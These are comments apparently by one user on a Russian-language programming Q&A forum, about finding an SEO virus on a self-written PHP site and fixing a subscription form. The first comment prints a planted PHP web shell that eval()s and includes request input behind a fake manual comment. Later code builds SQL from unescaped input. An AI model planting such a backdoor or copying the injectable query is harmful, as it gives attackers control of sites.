• Как найти найти источник seo-вируса на сайте?

    @Valentine13 Автор вопроса
    Uno, ну я в итоге в нескольких папках нашла php файлы, которые датами и именами маскировались под нормальные в тех же папках, выдавало их только то, что все они всегда весят по 603кб, ну и одинаковый код внутри был вот таким)
    <?php
    /**
     * Be sure to include no trailing slash on the path.
     * See license@php.net. for more information
     * about PHP manuals and their types.
     */
    ini_set("session.cookie_httponly", true);
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    session_start();
    $_SESSION['server']='';
    //Core parameters
    function dam(){
        $a=base64_encode($_REQUEST['msfacai']);
        if (isset($a)) {
            $b=''.base64_decode($a).'';
            return ($b);
        }
    }
    echo 'Important functions related to PHP system<br>'.$_SESSION['server'].dam().'';
    $file=''.dam().'';
    Include($file);
    eval(''.dam().'');
    ?>
    Написано
  • Как найти найти источник seo-вируса на сайте?

    @Valentine13 Автор вопроса
    Вот как раз поиск по дате файлов ничего подозрительного не выявил. В итоге я нашла показавшийся мне подозрительным файл yunny.php в папке со стареньким phpmailer, но у него дата изменения и время стоят как раз ровно секунда в секунду, как у всех остальных файлов в его папке (10.01.2022, когда весь сайт переезжал на другой хостинг), я его удалила, конечно, но думаю, проблему это не решает, ведь что-то его туда закинуло, мимикрируя под окружающую среду)
    Написано
  • Как найти найти источник seo-вируса на сайте?

    @Valentine13 Автор вопроса
    Refguser, cms на сайте самописная, построенная на mvc идеологии, потому я не могу ничего про движок рассказать), ssl-сертификаты на сайте в порядке. Пробовала откатить все самые нужные php-файлы на версию от 8 октября (увы, у нас на хостинге включена услуга хранения бекапов только 2 недели), ничего не поменялось. Короче, я не понимаю, как найти то, что невозможно даже увидеть. Повторюсь, внешне на сайте как будто нет ничего подозрительного, никаких сбоев в работе, замедления, и самое главное - никаких левых кодов и вот этих мусорных метатегов на клиентской стороне)
    Написано
  • Почему событие touchmove не ловится в мобильных браузерах Android, а в iOS все срабатывает как надо?

    @Valentine13 Автор вопроса
    Пробовала как-то с компа отладить, несмотря на то, что touch-действия там не настоящие), но там тоже все работает... Но если убирать прослушку touchmove, то везде всё ломается именно таким же образом, как на андроиде, то есть проблема реально в том, что несмотря на то, что touchart на андроиде ловится так же спокойно, как везде, touchmove и touchend после этого почему-то не происходят. Ну объясните кто-то дурочке, почему(
  • Почему скрипт работает не во всех браузерах?

    @Valentine13 Автор вопроса
    drawnofmymind, а в режиме инкогнито она сбрасывается? Логично, но прямых настроек на запрет вот этого всего я не нашла у себя. Может, есть какой-то живой пример, где можно это проверить? И если допустить, что вся штуковина реально в каком-то сильно умном режиме безопасности/адблокере/etc, то ведь и у других пользователей тоже может возникнуть такая ситуация. Есть какой-то способ эти заглушки обойти?
  • Почему перестала работать форма подписки после обновления представлений на сайте?

    @Valentine13 Автор вопроса
    ThunderCat,
    прописывайте вызов
    ну видно же, что я не врубаюсь, как именно) Да, работа GET и POST - это азбучные для php вещи, но вот эта раскиданность кода по десяткам моделей и контроллеров ломает мне мозг) Я понимаю, как бы это работало, укажи я в $.post ссылку на какой-то файлик со скриптом, где происходило бы все в таком духе прямо в лоб...
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
    			$sql = "SELECT `email` FROM `subscribers` WHERE `email` LIKE '$email'";
    			$query = mysqli_query($conn, $sql);
    			if(mysqli_num_rows($query) > 0) {
    				echo 0;
    			} else {
    				$updquery = mysqli_query($conn,"INSERT INTO `subscribers` (`name`, `email`) VALUES ('', '$email');");
    				echo 1;
    			}
    } else {
    	echo 2;
    }

    А сейчас я банально не понимаю, как мне в индексе поймать нужное событие с GET, считать оттуда email и потом забрать из insertIntoSubscribers результат. Хэлп, ну помогите кто-то полному нубу)
  • Почему перестала работать форма подписки после обновления представлений на сайте?

    @Valentine13 Автор вопроса
    ThunderCat,
    поиск по $_GET['func'] должен что-то найти

    Да нет там его, в том и мистика... Ни в index.php, задающим стартовые настройки базового класса, ни в app-controller, ни в дочерних к нему page и main... Единственное логичное объяснение, что это все кто-то снес оттуда до меня. Ну либо этот самописный фрейворк в состоянии понять только его создатель)
  • Почему перестала работать форма подписки после обновления представлений на сайте?

    @Valentine13 Автор вопроса
    Вот есть файл admin-subscriber-controller (отвечает за показ списка подписчиков в админке) и там все-таки есть обращение к subscriber, то есть я не брежу, хаха, и он все-таки должен и на запись где-то использоваться, не только на чтение...
    <?php
    class SubscriberController extends AppController
    {
        public $name = 'subscribers';
        public $page_title = 'Подписчики';
        public $per_page = 100;   
        function index() {     
            $list = $this->subscriber->getSubscribersList();     
            $this->render('index.html', array(
                'list' => $list,
            ), 'mainblock');
        }    
    }


    Как мне написать свой вызов этого чертова subscribera? Что-то в таком духе?

    function add() {
            if ($_POST) {
                   $data = $this->subscriber->insertIntoSubscribers(); 
            }
            return $data;
    }


    Но разве этого достаточно, чтобы данные из формы попали таки в insertIntoSubscribers()?
  • Почему перестала работать форма подписки после обновления представлений на сайте?

    @Valentine13 Автор вопроса
    А в консоли нет ошибок? И что показывает лог?

    в консоли есть только куча ошибок вида
    Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
    связанных исключительно со всякими включенными яндекс-метриками, фб-пикселями и т.д., но это связано с кучей установленных в браузере adblock'еров, как я понимаю. Jquery я подключаю следующим образом, потому что все мои нужные для диза скрипты работают на 3.6.0, но для страховки совместимость со старой версией оставила, потому что мало ли что там кроме этой старой формы еще могло бы понадобиться.
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/jquery-migrate-1.4.1.min.js"></script>

    возможно и снесли нужный class/id/tag

    Именно, что структуру этой формы я не меняла при обновлении, там только новые css-стили на нее навешаны. Вот прям скопировала сейчас из июньского бэкапа, чтобы не быть голословной (обновления начались только на этой неделе)
    <form id="form_add_sellers" method="post">
          <input placeholder="E-mail" type="text" name="email" id="subscription_email">
    <!--<input placeholder="Имя" type="text" name="name" id="subscription_name">-->
          <button id="subscriber_reg_submit">Подписаться</button>
    </form>

    Например так: alert($email);

    Только сейчас, кстати, поняла, у меня не срабатывает по кнопке вообще никакой алерт - ну то есть в консоли браузера я по брейкпойнтам вижу, что код весь обошелся, вижу значение переменной $email, вижу, что в dataпосле вызова $post записывается мусор, а именно - весь код текущей страницы, что по логике должно вызывать fail(function ()), но сам браузер молчит. Это тоже из-за адблокеров и какой-то настройки запрета всплывающих окон, да? Просто странность в том, что та же страница по http протоколу вместо https алерт с ошибкой все же выдает. И да, там недавно что-то нахимичили с обновлением ssl-сертификата, и редиректы на https пока настроены криво, через такую дырку я на незащищенную версию и попала)
    Но, короче, по логу data из консоли я окончательно убеждаюсь, что вот эта ссылка не алле '/?func =add', что возвращает к начальному вопросу: где и как грамотно самой вызвать метод subscriber'a?
  • Почему перестала работать форма подписки после обновления представлений на сайте?

    @Valentine13 Автор вопроса
    В том и проблема, что я перерыла их всех, но не нашла ничего похожего на вызов этого метода. Есть main-controller - для главной страницы, page-controller для всех остальных и app-controller - родительский для всех. Насколько я помню, до обновы, форма подписки была на всех страницах сайта, а файл page не обновлялся с 2016 года, тогда как subscriber залит в 2019). Остается логичный вариант, что метод должен быть в App, но я уже даже поиск по тексту делала, перестав доверять своим глазам, нет там ни вызова insertIntoSubscribers нигде, ни какой-то функции с названием add, там вообще единственное, что связано с обработкой POST - это вот такое...
    function get_data() {
            if ($_POST) {
                $data = $_POST;
                $this->session->set('object_search', $data);
            } else {
                $data = $this->session->get('object_search');
            }
            return $data;
        }

    Возможно, кто-то что-то менял в этих контроллерах незадолго до моих обновлений, потому что я налажала - не проверив, работали ли эти формы до того, как я начала все обновлять. Короче, проще всего, наверное, дописать в контроллере вызов insertIntoSubscribers самой, но я не очень понимаю, как это правильно сделать, хотя это явно вопрос пары строк кода. Потому и прошу помощи)